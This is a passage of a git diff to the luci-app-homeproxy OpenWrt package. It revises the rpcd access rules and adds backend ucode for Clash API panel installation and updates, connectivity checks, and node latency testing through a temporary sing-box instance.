30, diff --git a/luci-app-homeproxy/root/usr/share/rpcd/acl.d/luci-app-homeproxy.json b/luci-app-homeproxy/root/usr/share/rpcd/acl.d/luci-app-homeproxy.json index 3d76bd9df..d65e15e06 100644 --- a/luci-app-homeproxy/root/usr/share/rpcd/acl.d/luci-app-homeproxy.json +++ b/luci-app-homeproxy/root/usr/share/rpcd/acl.d/luci-app-homeproxy.json @@ -3,58 +3,25 @@ "description": "Grant access to homeproxy configuration", "read": { "file": { + "/etc/homeproxy/scripts/update_subscriptions.uc": [ "exec" ], "/var/run/homeproxy/homeproxy.log": [ "read" ], "/var/run/homeproxy/sing-box-c.log": [ "read" ], "/var/run/homeproxy/sing-box-s.log": [ "read" ] }, "ubus": { + "rc": [ "*" ], "service": [ "list" ], - "luci.homeproxy": [ - "acllist_read", - "connection_check", - "resources_get_version", - "singbox_get_features" - ], - "luci.homeproxy_node_tools": [ - "config_diagnostics", - "node_references", - "preview_node_filter", - "update_subscriptions_status", - "validate_regex" - ] + "luci.homeproxy": [ "*" ] }, "uci": [ "homeproxy" ] }, "write": { "file": { "/tmp/homeproxy_certificate.tmp": [ "write" ], - "/tmp/homeproxy-backup-*.tar.gz": [ "read" ], - "/tmp/homeproxy-restore-*.tar.gz": [ "write" ] + "/tmp/homeproxy_panel.tmp": [ "write" ] }, "ubus": { - "luci.homeproxy": [ - "acllist_read", - "acllist_write", - "certificate_write", - "log_clean", - "resources_update", - "singbox_generator" - ], - "luci.homeproxy_backup": [ - "backup_cleanup", - "backup_create", - "backup_get_upload_path", - "backup_restore", - "backup_validate" - ], - "luci.homeproxy_node_tools": [ - "remove_subscription_nodes", - "update_subscriptions" - ], - "luci.homeproxy_tcping": [ - "node_tcping", - "nodes_tcping" - ] + "rc": [ "*" ] }, "uci": [ "homeproxy" ] } diff --git a/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy b/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy index 3df85c2fc..f0292ebac 100644 --- a/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy +++ b/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy @@ -8,6 +8,7 @@ 'use strict'; import { access, error, lstat, popen, readfile, writefile } from 'fs'; +import { cursor } from 'uci'; /* Kanged from ucode/luci */ function shellquote(s) { @@ -21,6 +22,72 @@ function hasKernelModule(kmod) { const HP_DIR = '/etc/homeproxy'; const RUN_DIR = '/var/run/homeproxy'; +function getClashAPIConfig(uci) { + const external_controller = trim(uci.get('homeproxy', 'clash_api', 'external_controller') || '127.0.0.1:9090'); + const secret = trim(uci.get('homeproxy', 'clash_api', 'secret') || ''); + const matched = match(external_controller, /:(\d+)$/); + const port = matched ? matched[1] : '9090'; + + return { + base_url: `http://127.0.0.1:${port}`, + secret + }; +} + +function readProcess(fd) { + let payload = '', line; + for (line = fd.read('line'); length(line); line = fd.read('line')) + payload += line; + fd.close(); + + return payload; +} + +function clashAPIRequest(api, method, path, timeout) { + const auth = api.secret ? `--header ${shellquote(`Authorization: Bearer ${api.secret}`)} ` : ''; + const post = (method === 'POST') ? "--post-data='' " : ''; + const fd = popen(`/usr/bin/wget -qO- -T ${timeout || 10} ${auth}${post}${shellquote(api.base_url + path)} 2>"/dev/null"`); + + if (!fd) + return null; + + return readProcess(fd); +} + +function getPanelDir(uci) { + return trim(uci.get('homeproxy', 'clash_api', 'external_ui') || `${HP_DIR}/run/ui`); +} + +function hasDirectoryContent(directory) { + return (system(`[ -d ${shellquote(directory)} ] && [ -n "$(ls -A ${shellquote(directory)} 2>/dev/null)" ]`) === 0); +} + +function preparePanelBackup(panel_dir, backup_dir) { + const parent_dir = replace(panel_dir, /\/[^/]+$/, '') || '/'; + + system(`rm -rf ${shellquote(backup_dir)}`); + system(`mkdir -p ${shellquote(parent_dir)}`); + + if (hasDirectoryContent(panel_dir)) { + if (system(`mv ${shellquote(panel_dir)} ${shellquote(backup_dir)}`) !== 0) + return false; + } + + return (system(`mkdir -p ${shellquote(panel_dir)}`) === 0); +} + +function restorePanelBackup(panel_dir, backup_dir) { + if (!access(backup_dir)) + return true; + + system(`rm -rf ${shellquote(panel_dir)}`); + return (system(`mv ${shellquote(backup_dir)} ${shellquote(panel_dir)}`) === 0); +} + +function cleanupPanelBackup(backup_dir) { + system(`rm -rf ${shellquote(backup_dir)}`); +} + const methods = { acllist_read: { args: { type: 'type' }, @@ -130,14 +197,1106 @@ const methods = { url = 'https://www.baidu.com'; break; case 'google': - url = 'https://www.google.com'; + url = 'https://www.google.com/generate_204'; + break; + case 'github': + url = 'https://github.com'; + break; + case 'youtube': + url = 'https://www.youtube.com'; break; default: return { result: false, error: 'illegal site' }; break; } - return { result: (system(`/usr/bin/wget --spider -qT3 ${url} 2>"/dev/null"`, 3100) === 0) }; + const fd = popen(`/usr/bin/curl --connect-timeout 3 --max-time 5 -o /dev/null -I -skL -w "%{http_code}:%{time_pretransfer}" ${shellquote(url)} 2>"/dev/null"`); + if (!fd) + return { result: false }; + + const output = trim(readProcess(fd) || ''); + const parts = split(output, ':'); + const code = int(parts[0] || 0); + const parsed = match(parts[1] || '', /^([0-9]+)(\.([0-9]+))?$/); + + if (code > 0 && parsed) { + const sec = int(parsed[1]); + const frac = ((parsed[3] || '') + '00000'); + const centims = sec * 100000 + int(substr(frac, 0, 5)); + + return { + result: true, + latency: sprintf('%d.%02d', int(centims / 100), centims % 100), + type: 'curl' + }; + } + + return { result: false }; + } + }, + + current_node_get: { + call: function() { + const uci = cursor(); + uci.load('homeproxy'); + + const formatNode = (section_id, fallback_name) => { + if (!section_id || section_id in ['nil', 'same']) + return { id: section_id, label: fallback_name || section_id, type: null }; + + const section = uci.get_all('homeproxy', section_id); + if (!section || section['.type'] !== 'node') + return { id: section_id, label: fallback_name || section_id, type: null }; + + const address = trim(section.override_address || section.address || ''); + const port = trim(section.override_port || section.port || ''); + const label = trim(section.label || '') || ((address && port) ? `${address}:${port}` : section_id); + return { + id: section_id, + label, + type: section.type || null + }; + }; + + const normalizeOutboundTag = (tag) => { + if (!tag) + return null; + + tag = trim(sprintf('%s', tag)); + tag = replace(tag, /[\r\n\t]+/g, ' '); + tag = replace(tag, /[\/\\?#%]+/g, '-'); + tag = replace(tag, /\s+/g, ' '); + + return tag || null; + }; + + const sectionDisplayName = (section) => { + if (!section) + return null; + + let label = normalizeOutboundTag(section.label); + if (label) + return label; + + if (section['.type'] === 'node') { + const address = trim(section.override_address || section.address || ''); + const port = trim(section.override_port || section.port || ''); + + if (address && port) + return normalizeOutboundTag(`${address}:${port}`); + } + + return null; + }; + + const buildOutboundTagMap = () => { + const reserved_tags = { + 'GLOBAL': true, + 'main-out': true, + 'main-udp-out': true, + 'direct-out': true, + 'block-out': true + }; + let tag_map = {}, + used_tags = {}; + + const register = (section_id, display_name) => { + if (!section_id || tag_map[section_id]) + return; + + const fallback_tag = `cfg-${section_id}-out`; + const base_tag = normalizeOutboundTag(display_name) || fallback_tag; + let tag = base_tag, + suffix = 2; + + while (reserved_tags[tag] || used_tags[tag]) { + tag = `${base_tag} (${suffix})`; + suffix++; + } + + tag_map[section_id] = tag; + used_tags[tag] = true; + }; + + uci.foreach('homeproxy', 'node', (section) => { + register(section['.name'], sectionDisplayName(section)); + }); + + uci.foreach('homeproxy', 'routing_node', (section) => { + if (section.enabled === '1') + register(section['.name'], sectionDisplayName(section)); + }); + + let reverse_map = {}; + for (let section_id in tag_map) + reverse_map[tag_map[section_id]] = section_id; + + return reverse_map; + }; + + const main_node = trim(uci.get('homeproxy', 'config', 'main_node') || 'nil'); + if (main_node !== 'urltest') + return { + mode: main_node, + active: formatNode(main_node, (main_node === 'nil') ? '禁用' : null), + error: null + }; + + const payload = clashAPIRequest(getClashAPIConfig(uci), 'GET', '/proxies/main-out', 3); + if (payload === null) + return { + mode: 'urltest', + active: { id: 'urltest', label: '自动选择', type: 'urltest' }, + error: 'clash_api_unavailable' + }; + + let data = null; + try { + data = json(payload); + } catch (e) {} + + const tag = trim(data?.now || ''); + if (!tag) + return { + mode: 'urltest', + active: { id: 'urltest', label: '自动选择', type: 'urltest' }, + error: 'missing_current_proxy' + }; + + const tag_map = buildOutboundTagMap(); + const matched = match(tag, /^cfg-(.*)-out$/); + const section_id = tag_map[tag] || (matched ? matched[1] : tag); + + return { + mode: 'urltest', + active: formatNode(section_id, tag), + error: null + }; + } + }, + clash_api_update_panel: { + call: function() { + const uci = cursor(); + uci.load('homeproxy'); + const panel_dir = getPanelDir(uci); + const backup_dir = `${panel_dir}.backup`; + + if (!preparePanelBackup(panel_dir, backup_dir)) + return { result: false, error: 'panel_backup_failed' }; + + const payload = clashAPIRequest(getClashAPIConfig(uci), 'POST', '/upgrade/ui', 120); + if (payload === null) { + restorePanelBackup(panel_dir, backup_dir); + return { result: false, error: 'clash_api_unavailable' }; + } + + let data = null; + try { + data = json(payload); + } catch (e) {} + + if (data?.status === 'ok') { + cleanupPanelBackup(backup_dir); + return { result: true }; + } + + if (!restorePanelBackup(panel_dir, backup_dir)) + return { result: false, error: 'panel_restore_failed' }; + + return { + result: false, + error: data?.message || data?.error || 'update_panel_failed' + }; + } + }, + clash_api_install_panel: { + call: function() { + const uci = cursor(); + uci.load('homeproxy'); + + const tmpzip = '/tmp/homeproxy_panel.tmp'; + const filestat = lstat(tmpzip); + if (!filestat || filestat.type !== 'file' || filestat.size <= 0) { + system(`rm -f ${shellquote(tmpzip)}`); + return { result: false, error: 'empty_panel_zip' }; + } + + if (system('command -v unzip >/dev/null 2>&1') !== 0) { + system(`rm -f ${shellquote(tmpzip)}`); + return { result: false, error: 'unzip_unavailable' }; + } + + const panel_dir = getPanelDir(uci); + const backup_dir = `${panel_dir}.backup`; + const extract_dir = '/tmp/homeproxy_panel_extract'; + const stage_dir = '/tmp/homeproxy_panel_stage'; + const install_cmd = ` + set -e + rm -rf ${shellquote(extract_dir)} ${shellquote(stage_dir)} + mkdir -p ${shellquote(extract_dir)} ${shellquote(stage_dir)} + unzip -oq ${shellquote(tmpzip)} -d ${shellquote(extract_dir)} >/dev/null + src_dir=${shellquote(extract_dir)} + for depth in 1 2 3; do + [ -f "$src_dir/index.html" ] && break + first_entry="" + entry_count=0 + for entry in "$src_dir"/* "$src_dir"/.[!.]* "$src_dir"/..?*; do + [ -e "$entry" ] || continue + case "$(basename "$entry")" in + __MACOSX|.DS_Store) continue ;; + esac + entry_count=$((entry_count + 1)) + [ -n "$first_entry" ] || first_entry="$entry" + done + if [ "$entry_count" -eq 1 ] && [ -d "$first_entry" ]; then + src_dir="$first_entry" + else + break + fi + done + copied=0 + for entry in "$src_dir"/* "$src_dir"/.[!.]* "$src_dir"/..?*; do + [ -e "$entry" ] || continue + cp -a "$entry" ${shellquote(stage_dir)}/ + copied=1 + done + [ "$copied" -eq 1 ] + `; + + if (system(install_cmd) !== 0) { + system(`rm -f ${shellquote(tmpzip)}`); + system(`rm -rf ${shellquote(extract_dir)} ${shellquote(stage_dir)}`); + return { result: false, error: 'invalid_panel_zip' }; + } + + if (!preparePanelBackup(panel_dir, backup_dir)) { + system(`rm -f ${shellquote(tmpzip)}`); + system(`rm -rf ${shellquote(extract_dir)} ${shellquote(stage_dir)}`); + return { result: false, error: 'panel_backup_failed' }; + } + + const replace_cmd = ` + set -e + rm -rf ${shellquote(panel_dir)} + mkdir -p ${shellquote(panel_dir)} + cp -a ${shellquote(stage_dir)}/. ${shellquote(panel_dir)}/ + chown -R sing-box:sing-box ${shellquote(panel_dir)} 2>/dev/null || true + `; + + let result = { result: true }; + if (system(replace_cmd) !== 0) { + if (!restorePanelBackup(panel_dir, backup_dir)) + result = { result: false, error: 'panel_restore_failed' }; + else + result = { result: false, error: 'panel_install_failed' }; + } else { + cleanupPanelBackup(backup_dir); + } + + system(`rm -f ${shellquote(tmpzip)}`); + system(`rm -rf ${shellquote(extract_dir)} ${shellquote(stage_dir)}`); + return result; + } + }, + + node_latency_test: { + args: { node: 'node', mode: 'mode' }, + call: function(req) { + const error_codes = { + invalid_node: 'invalid_node', + invalid_mode: 'invalid_mode', + mode_mismatch: 'mode_mismatch', + rp_invalid_outbound: 'rp_invalid_outbound', + rp_runtime_prepare_failed: 'rp_runtime_prepare_failed', + rp_runtime_launch_failed: 'rp_runtime_launch_failed', + rp_runtime_timeout: 'rp_runtime_timeout', + rp_delay_timeout: 'rp_delay_timeout', + rp_delay_failed: 'rp_delay_failed', + icmp_probe_unavailable: 'icmp_probe_unavailable', + icmp_timeout: 'icmp_timeout', + icmp_failed: 'icmp_failed', + probe_timeout: 'probe_timeout', + backend_execution_failed: 'backend_execution_failed', + probe_failed: 'probe_failed' + }; + const probe_timeout_s = 3; + const probe_timeout_ms = probe_timeout_s * 1000; + const probe_system_timeout_ms = probe_timeout_ms + 250; + const rp_probe_url = 'https://cp.cloudflare.com/generate_204'; + const rp_probe_url_encoded = 'https%3A%2F%2Fcp.cloudflare.com%2Fgenerate_204'; + const rp_delay_timeout_ms = 5000; + + const formatResult = (node, state, latency_ms, err, extras) => ({ + node, + state, + latency_ms, + measured_at: time(), + error: err, + icmp_latency_ms: (extras && extras.icmp_latency_ms != null) ? extras.icmp_latency_ms : null, + icmp_error: (extras && extras.icmp_error) ? extras.icmp_error : null, + rp_runtime: (extras && extras.rp_runtime) ? extras.rp_runtime : null + }); + + const strToBool = (str) => ((str === '1') || null); + const strToInt = (str) => (str != null && trim(sprintf('%s', str)) !== '') ? (int(str) || null) : null; + const strToTime = (str) => (str != null && trim(sprintf('%s', str)) !== '') ? (str + 's') : null; + + function removeBlankAttrs(res) { + let content; + + if (type(res) === 'object') { + content = {}; + map(keys(res), (k) => { + if (type(res[k]) in ['array', 'object']) + content[k] = removeBlankAttrs(res[k]); + else if (res[k] !== null && res[k] !== '') + content[k] = res[k]; + }); + } else if (type(res) === 'array') { + content = []; + map(res, (k) => { + if (type(k) in ['array', 'object']) + push(content, removeBlankAttrs(k)); + else if (k !== null && k !== '') + push(content, k); + }); + } else + return res; + + return content; + } + + const parse_port = (strport) => { + if (type(strport) !== 'array' || length(strport) === 0) + return null; + + let ports = []; + for (let i = 0; i < length(strport); i++) + push(ports, int(strport[i])); + + return ports; + }; + + const generate_endpoint = (node_cfg) => { + if (type(node_cfg) !== 'object' || length(node_cfg) === 0) + return null; + + return { + type: node_cfg.type, + tag: 'cfg-' + node_cfg['.name'] + '-out', + address: node_cfg.wireguard_local_address, + mtu: strToInt(node_cfg.wireguard_mtu), + private_key: node_cfg.wireguard_private_key, + peers: (node_cfg.type === 'wireguard') ? [ + { + address: node_cfg.address, + port: strToInt(node_cfg.port), + allowed_ips: [ + '0.0.0.0/0', + '::/0' + ], + persistent_keepalive_interval: strToInt(node_cfg.wireguard_persistent_keepalive_interval), + public_key: node_cfg.wireguard_peer_public_key, + pre_shared_key: node_cfg.wireguard_pre_shared_key, + reserved: parse_port(node_cfg.wireguard_reserved) + } + ] : null, + system: (node_cfg.type === 'wireguard') ? false : null, + tcp_fast_open: strToBool(node_cfg.tcp_fast_open), + tcp_multi_path: strToBool(node_cfg.tcp_multi_path), + udp_fragment: strToBool(node_cfg.udp_fragment) + }; + }; + + const generate_outbound = (node_cfg) => { + if (type(node_cfg) !== 'object' || length(node_cfg) === 0) + return null; + + return { + type: node_cfg.type, + tag: 'cfg-' + node_cfg['.name'] + '-out', + + server: (node_cfg.type !== 'direct') ? node_cfg.address : null, + server_port: (node_cfg.type !== 'direct') ? strToInt(node_cfg.port) : null, + server_ports: node_cfg.hysteria_hopping_port, + + username: (node_cfg.type !== 'ssh') ? node_cfg.username : null, + user: (node_cfg.type === 'ssh') ? node_cfg.username : null, + password: node_cfg.password, + + idle_session_check_interval: strToTime(node_cfg.anytls_idle_session_check_interval), + idle_session_timeout: strToTime(node_cfg.anytls_idle_session_timeout), + min_idle_session: strToInt(node_cfg.anytls_min_idle_session), + hop_interval: strToTime(node_cfg.hysteria_hop_interval), + up_mbps: strToInt(node_cfg.hysteria_up_mbps), + down_mbps: strToInt(node_cfg.hysteria_down_mbps), + obfs: node_cfg.hysteria_obfs_type ? { + type: node_cfg.hysteria_obfs_type, + password: node_cfg.hysteria_obfs_password + } : node_cfg.hysteria_obfs_password, + auth: (node_cfg.hysteria_auth_type === 'base64') ? node_cfg.hysteria_auth_payload : null, + auth_str: (node_cfg.hysteria_auth_type === 'string') ? node_cfg.hysteria_auth_payload : null, + recv_window_conn: strToInt(node_cfg.hysteria_recv_window_conn), + recv_window: strToInt(node_cfg.hysteria_revc_window), + disable_mtu_discovery: strToBool(node_cfg.hysteria_disable_mtu_discovery), + method: node_cfg.shadowsocks_encrypt_method, + plugin: node_cfg.shadowsocks_plugin, + plugin_opts: node_cfg.shadowsocks_plugin_opts, + version: (node_cfg.type === 'shadowtls') ? strToInt(node_cfg.shadowtls_version) : ((node_cfg.type === 'socks') ? node_cfg.socks_version : null), + client_version: node_cfg.ssh_client_version, + host_key: node_cfg.ssh_host_key, + host_key_algorithms: node_cfg.ssh_host_key_algo, + private_key: node_cfg.ssh_priv_key, + private_key_passphrase: node_cfg.ssh_priv_key_pp, + uuid: node_cfg.uuid, + congestion_control: node_cfg.tuic_congestion_control, + udp_relay_mode: node_cfg.tuic_udp_relay_mode, + udp_over_stream: strToBool(node_cfg.tuic_udp_over_stream), + zero_rtt_handshake: strToBool(node_cfg.tuic_enable_zero_rtt), + heartbeat: strToTime(node_cfg.tuic_heartbeat), + flow: node_cfg.vless_flow, + alter_id: strToInt(node_cfg.vmess_alterid), + security: node_cfg.vmess_encrypt, + global_padding: strToBool(node_cfg.vmess_global_padding), + authenticated_length: strToBool(node_cfg.vmess_authenticated_length), + packet_encoding: node_cfg.packet_encoding, + + multiplex: (node_cfg.multiplex === '1') ? { + enabled: true, + protocol: node_cfg.multiplex_protocol, + max_connections: strToInt(node_cfg.multiplex_max_connections), + min_streams: strToInt(node_cfg.multiplex_min_streams), + max_streams: strToInt(node_cfg.multiplex_max_streams), + padding: strToBool(node_cfg.multiplex_padding), + brutal: (node_cfg.multiplex_brutal === '1') ? { + enabled: true, + up_mbps: strToInt(node_cfg.multiplex_brutal_up), + down_mbps: strToInt(node_cfg.multiplex_brutal_down) + } : null + } : null, + tls: (node_cfg.tls === '1') ? { + enabled: true, + server_name: node_cfg.tls_sni, + insecure: strToBool(node_cfg.tls_insecure), + alpn: node_cfg.tls_alpn, + min_version: node_cfg.tls_min_version, + max_version: node_cfg.tls_max_version, + cipher_suites: node_cfg.tls_cipher_suites, + certificate_path: node_cfg.tls_cert_path, + ech: (node_cfg.tls_ech === '1') ? { + enabled: true, + config: node_cfg.tls_ech_config, + config_path: node_cfg.tls_ech_config_path + } : null, + utls: node_cfg.tls_utls ? { + enabled: true, + fingerprint: node_cfg.tls_utls + } : null, + reality: (node_cfg.tls_reality === '1') ? { + enabled: true, + public_key: node_cfg.tls_reality_public_key, + short_id: node_cfg.tls_reality_short_id + } : null + } : null, + transport: node_cfg.transport ? { + type: node_cfg.transport, + host: node_cfg.http_host || node_cfg.httpupgrade_host, + path: node_cfg.http_path || node_cfg.ws_path, + headers: node_cfg.ws_host ? { + Host: node_cfg.ws_host + } : null, + method: node_cfg.http_method, + max_early_data: strToInt(node_cfg.websocket_early_data), + early_data_header_name: node_cfg.websocket_early_data_header, + service_name: node_cfg.grpc_servicename, + idle_timeout: node_cfg.http_idle_timeout, + ping_timeout: node_cfg.http_ping_timeout, + permit_without_stream: strToBool(node_cfg.grpc_permit_without_stream) + } : null, + udp_over_tcp: (node_cfg.udp_over_tcp === '1') ? { + enabled: true, + version: strToInt(node_cfg.udp_over_tcp_version) + } : null, + tcp_fast_open: strToBool(node_cfg.tcp_fast_open), + tcp_multi_path: strToBool(node_cfg.tcp_multi_path), + udp_fragment: strToBool(node_cfg.udp_fragment) + }; + }; + + const isControllerPortBusy = (port) => { + const hex_port = sprintf('%04X', int(port)); + const tcp_v4 = readfile('/proc/net/tcp') || ''; + const tcp_v6 = readfile('/proc/net/tcp6') || ''; + + for (let line in split(tcp_v4 + '\n' + tcp_v6, /\n/)) { + const fields = split(trim(line), /\s+/); + if (length(fields) < 4) + continue; + + const local_addr = split(fields[1], ':'); + const state = fields[3]; + if (length(local_addr) !== 2) + continue; + + if (local_addr[1] === hex_port && state === '0A') + return true; + } + + return false; + }; + + const pickControllerPort = (seed) => { + const min_port = 19090; + const span = 100; + let hash_seed = 0; + + for (let i = 0; i < length(seed); i++) + hash_seed += ord(seed, i); + + const start = hash_seed % span; + for (let i = 0; i < span; i++) { + const candidate = min_port + ((start + i) % span); + if (candidate === 9090) + continue; + if (!isControllerPortBusy(candidate)) + return candidate; + } + + return null; + }; + + const listRuntimePidsByConfig = (config_path) => { + if (!config_path) + return []; + + const scan_cmd = sprintf( + '/bin/sh -c %s -- %s', + shellquote('cfg="$1"; for proc in /proc/[0-9]*; do [ -d "$proc" ] || continue; pid="${proc#/proc/}"; [ -r "$proc/cmdline" ] || continue; found_cfg=0; has_sig=0; p1=""; p2=""; set -f; for arg in $(tr "\\000" "\\n" <"$proc/cmdline" 2>/dev/null); do [ "$arg" = "$cfg" ] && found_cfg=1; [ "${p2##*/}" = "sing-box" ] && [ "$p1" = "run" ] && [ "$arg" = "--config" ] && has_sig=1; p2="$p1"; p1="$arg"; done; set +f; [ "$has_sig" -eq 1 ] && [ "$found_cfg" -eq 1 ] && printf "%s\\n" "$pid"; done'), + shellquote(config_path) + ); + + const fd = popen(scan_cmd); + if (!fd) + return []; + + let pids = []; + let line; + for (line = fd.read('line'); line !== null && line !== ''; line = fd.read('line')) { + const pid = trim(line); + if (match(pid, /^[0-9]+$/) && index(pids, pid) === -1) + push(pids, pid); + } + fd.close(); + + return pids; + }; + + const isRuntimeProcess = (pid, config_path) => { + if (!pid || !match(pid, /^[0-9]+$/) || !config_path) + return false; + + if (system(`/bin/kill -0 ${shellquote(pid)} >/dev/null 2>&1`) !== 0) + return false; + + return (index(listRuntimePidsByConfig(config_path), pid) !== -1); + }; + + const findRuntimePidByConfig = (config_path) => { + const pids = listRuntimePidsByConfig(config_path); + for (let i = 0; i < length(pids); i++) { + const pid = pids[i]; + if (system(`/bin/kill -0 ${shellquote(pid)} >/dev/null 2>&1`) === 0) + return pid; + } + + return null; + }; + + const resolveRuntimePid = (runtime_meta) => { + if (!runtime_meta?.config_path) + return null; + + const pid_file = trim(readfile(runtime_meta.pid_path) || ''); + if (isRuntimeProcess(pid_file, runtime_meta.config_path)) + return pid_file; + + const discovered = findRuntimePidByConfig(runtime_meta.config_path); + if (discovered) + writefile(runtime_meta.pid_path, discovered + '\n'); + + return discovered; + }; + + const cleanupProbeRuntime = (runtime_meta) => { + if (!runtime_meta) + return; + + const terminateRuntimePid = (pid) => { + if (!pid) + return; + + system(`/bin/kill ${shellquote(pid)} >/dev/null 2>&1`); + system('/bin/sleep 1'); + if (system(`/bin/kill -0 ${shellquote(pid)} >/dev/null 2>&1`) === 0) + system(`/bin/kill -9 ${shellquote(pid)} >/dev/null 2>&1`); + }; + + let pid = resolveRuntimePid(runtime_meta); + while (pid) { + terminateRuntimePid(pid); + system(`/bin/rm -f ${shellquote(runtime_meta.pid_path)}`); + pid = findRuntimePidByConfig(runtime_meta.config_path); + } + + system(`/bin/rm -rf ${shellquote(runtime_meta.session_dir)}`); + }; + + const waitControllerReady = (runtime_meta, timeout_ms) => { + try { + let retries = int((timeout_ms + 999) / 1000); + if (!retries || retries < 1) + retries = 1; + + for (let i = 0; i < retries; i++) { + resolveRuntimePid(runtime_meta); + + const probe_fd = popen(`/usr/bin/wget -qO- ${shellquote(runtime_meta.controller_url + '/version')} 2>"/dev/null"`); + if (probe_fd) { + let payload = '', line; + while (true) { + line = probe_fd.read('line'); + if (line === null || line === '') + break; + payload += line; + } + probe_fd.close(); + if (trim(payload)) + return true; + } + + if (i + 1 < retries) + system('/bin/sleep 1'); + } + + return false; + } catch (e) { + return false; + } + }; + + const buildProbeRuntime = (node_name, node_cfg) => { + const runtime_root = RUN_DIR + '/latency-test'; + const session_id = sprintf('%s-%d-%d', node_name, time(), int(readfile('/proc/uptime') || '0')); + const session_dir = `${runtime_root}/${session_id}`; + const config_path = `${session_dir}/sing-box.json`; + const log_path = `${session_dir}/sing-box.log`; + const cache_path = `${session_dir}/cache.db`; + const pid_path = `${session_dir}/sing-box.pid`; + + const controller_port = pickControllerPort(node_name || 'real-proxy'); + if (!controller_port) + return { error: 'no available temporary controller port' }; + + const selected_tag = 'probe-out'; + const config = { + log: { + disabled: false, + level: 'warn', + output: log_path, + timestamp: true + }, + outbounds: [ + { + type: 'direct', + tag: 'direct-out' + }, + { + type: 'block', + tag: 'block-out' + } + ], + endpoints: [], + route: { + final: selected_tag, + auto_detect_interface: true + }, + experimental: { + clash_api: { + external_controller: `127.0.0.1:${controller_port}` + }, + cache_file: { + enabled: true, + path: cache_path + } + } + }; + + const rendered_outbound = (node_cfg.type === 'wireguard') ? generate_endpoint(node_cfg) : generate_outbound(node_cfg); + if (rendered_outbound && type(rendered_outbound) === 'object') + rendered_outbound.tag = selected_tag; + + if (!rendered_outbound || type(rendered_outbound) !== 'object' || rendered_outbound.tag !== selected_tag || !rendered_outbound.type) + return { + error: 'failed to render temporary outbound for selected node', + code: error_codes.rp_invalid_outbound + }; + + if (node_cfg.type === 'wireguard') + push(config.endpoints, rendered_outbound); + else + push(config.outbounds, rendered_outbound); + + if (system(`/bin/mkdir -p ${shellquote(session_dir)}`) !== 0) + return { error: 'failed to prepare temporary runtime directory' }; + + if (!writefile(config_path, sprintf('%.J\n', removeBlankAttrs(config)))) { + system(`/bin/rm -rf ${shellquote(session_dir)}`); + return { error: 'failed to write temporary sing-box config' }; + } + + return { + runtime_root, + session_dir, + config_path, + log_path, + cache_path, + pid_path, + controller_port, + controller_url: `http://127.0.0.1:${controller_port}` + }; + }; + + const launchProbeRuntime = (runtime_meta) => { + if (!runtime_meta) + return false; + + const launch_cmd = sprintf( + '/usr/bin/sing-box run --config %s >/dev/null 2>&1 & pid=$!; [ -n "$pid" ] && printf "%%s\\n" "$pid" > %s', + shellquote(runtime_meta.config_path), + shellquote(runtime_meta.pid_path) + ); + + if (system(`/bin/sh -c ${shellquote(launch_cmd)}`) !== 0) + return false; + + for (let i = 0; i < 5; i++) { + const pid = resolveRuntimePid(runtime_meta); + if (pid) + return true; + + system('/bin/sleep 1'); + } + + return false; + }; + + const monotonicMs = () => { + const uptime = trim(readfile('/proc/uptime') || ''); + const parsed = match(uptime, /^([0-9]+)(\.([0-9]+))?/); + + if (!parsed) + return null; + + const sec = int(parsed[1]); + const frac = ((parsed[3] || '') + '000'); + const msec = int(substr(frac, 0, 3)); + + return sec * 1000 + msec; + }; + + const probeRealProxyDelay = (runtime_meta, node_name) => { + const selected_tag = 'probe-out'; + const delay_endpoint = sprintf( + '%s/proxies/%s/delay?url=%s&timeout=%d', + runtime_meta.controller_url, + selected_tag, + rp_probe_url_encoded, + rp_delay_timeout_ms + ); + + const started_ms = monotonicMs(); + const fd = popen(sprintf( + '/usr/bin/wget -qO- -T %d %s 2>"/dev/null"', + int((rp_delay_timeout_ms + 999) / 1000), + shellquote(delay_endpoint) + )); + if (!fd) + return { + state: 'timeout', + error: { + code: error_codes.rp_delay_timeout, + message: 'failed to open temporary Clash API delay endpoint' + } + }; + + let payload = '', line; + while (true) { + line = fd.read('line'); + if (line === null || line === '') + break; + payload += line; + } + fd.close(); + + const ended_ms = monotonicMs(); + if (!trim(payload || '')) { + if (started_ms !== null && ended_ms !== null && ended_ms - started_ms >= rp_delay_timeout_ms) + return { + state: 'timeout', + error: { + code: error_codes.rp_delay_timeout, + message: sprintf('temporary Clash API delay request timed out after %dms', rp_delay_timeout_ms) + } + }; + + return { + state: 'error', + error: { + code: error_codes.rp_delay_failed, + message: 'temporary Clash API delay response is empty' + } + }; + } + + let data = null; + try { + data = json(payload); + } catch (e) { + return { + state: 'error', + error: { + code: error_codes.rp_delay_failed, + message: 'temporary Clash API delay response is not valid JSON' + } + }; + } + + const delay_ms = int(data?.delay || '0'); + if (delay_ms > 0) + return { + state: 'success', + latency_ms: delay_ms + }; + + const failure_msg = trim(sprintf('%s', data?.message || data?.error || '')) || 'temporary Clash API delay request failed'; + if (match(failure_msg, /timeout/i) || (started_ms !== null && ended_ms !== null && ended_ms - started_ms >= rp_delay_timeout_ms)) + return { + state: 'timeout', + error: { + code: error_codes.rp_delay_timeout, + message: failure_msg + } + }; + + return { + state: 'error', + error: { + code: error_codes.rp_delay_failed, + message: failure_msg + } + }; + }; + + const normalizeLatencyMode = (m) => (m === 'tcp') ? 'icmp' : m; + const node = trim(req.args?.node || '') || null; + const requested_mode = trim(req.args?.mode || ''); + const mode = normalizeLatencyMode(requested_mode); + const allowed_modes = ['icmp', 'rp']; + const allowed_configured_modes = ['icmp', 'tcp', 'rp']; + if (!node) + return formatResult(null, 'error', null, { + code: error_codes.invalid_node, + message: 'missing node section id' + }); + + if (index(allowed_modes, mode) === -1) + return formatResult(node, 'error', null, { + code: error_codes.invalid_mode, + message: sprintf('invalid latency test mode: %s', mode || '(empty)') + }); + + const uci = cursor(); + uci.load('homeproxy'); + + const configured_mode_raw = trim(uci.get('homeproxy', 'subscription', 'latency_test_mode') || ''); + const configured_mode = normalizeLatencyMode(configured_mode_raw); + if (configured_mode_raw && index(allowed_configured_modes, configured_mode_raw) === -1) + return formatResult(node, 'error', null, { + code: error_codes.invalid_mode, + message: sprintf('configured latency test mode is invalid: %s', configured_mode_raw || '(empty)') + }); + + if (configured_mode && configured_mode !== mode) + return formatResult(node, 'error', null, { + code: error_codes.mode_mismatch, + message: sprintf('request mode %s does not match configured mode %s', mode, configured_mode) + }); + + const section = uci.get_all('homeproxy', 